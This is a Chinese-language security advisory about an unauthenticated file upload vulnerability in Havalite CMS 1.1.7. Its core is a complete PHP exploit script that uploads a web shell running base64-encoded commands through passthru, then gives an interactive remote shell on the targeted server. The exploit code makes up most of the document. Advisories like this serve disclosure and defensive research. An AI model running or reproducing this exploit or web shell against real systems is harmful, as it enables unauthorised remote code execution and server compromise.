发布日期：2013-06-17
更新日期：2013-07-12

受影响系统：

Havalite Havalite CMS 1.1.7

描述：

---

Havalite 是一个开源轻量级CMS博客程序，基于PHP和SQLite开发。

Havalite CMS的upload.php脚本没有正确验证或过滤用户上传的文件，如果攻击者在用户可访问的路径放置了文件，直接请求该文件可使用户以Web服务器权限执行脚本。

<*来源：CWH Underground （www.citecclub.org）
  
  链接：http://www.metasploit.com/modules/exploit/unix/webapp/havalite_upload_exec
        http://www.osvdb.org/94405
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<?php
  
/*
  
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /        
  / XXXXXX /
(________(          
  `------'
  
Exploit Title   : Havalite CMS Unrestricted File Upload Exploit
Date            : 16 June 2013
Exploit Author  : CWH Underground
Site            : www.2600.in.th
Vendor Homepage : http://havalite.com/
Software Link   : http://jaist.dl.sourceforge.net/project/havalite/havalite_1.1.7.zip
Version         : 1.1.7
Tested on       : Window and Linux
  
  
#####################################################
VULNERABILITY: Unrestricted File Upload
#####################################################
  
/havalite/upload.php
  
#####################################################
DESCRIPTION
#####################################################
  
Restricted access to this script isn't properly realized (Don't require authentication) ,  
so an attacker might be able to upload arbitrary files containing malicious PHP code due to uploaded file
extension isn't properly checked.
  

#####################################################
EXPLOIT
#####################################################
  
*/
  
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
  
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die("\n[-] No response from {$host}:80\n");
  
    fputs($sock, $packet);
    return stream_get_contents($sock);
}
  
print "\n+-----------------------------------------------+";
print "\n| Havalite CMS Unrestricted File Upload Exploit |";
print "\n+-----------------------------------------------+\n";
  
if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /havalite/\n";
    die();
}
  
$host = $argv[1];
$path = $argv[2];
  

$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"files[]\"; filename=\"sh.php\"\r\n";
$payload .= "Content-Type: application/octet-stream\r\n\r\n";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
$payload .= "--o0oOo0o--\r\n";

$packet  = "POST {$path}havalite/upload.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Referee: {$host}{$path}havalite/hava_upload.php\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
      
http_send($host, $packet);
  
$packet  = "GET {$path}/havalite/tmp/files/sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
      
while(1)
{
    print "\nHavalite-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
  
?>

建议：

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厂商补丁：

Havalite
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://havalite.com/

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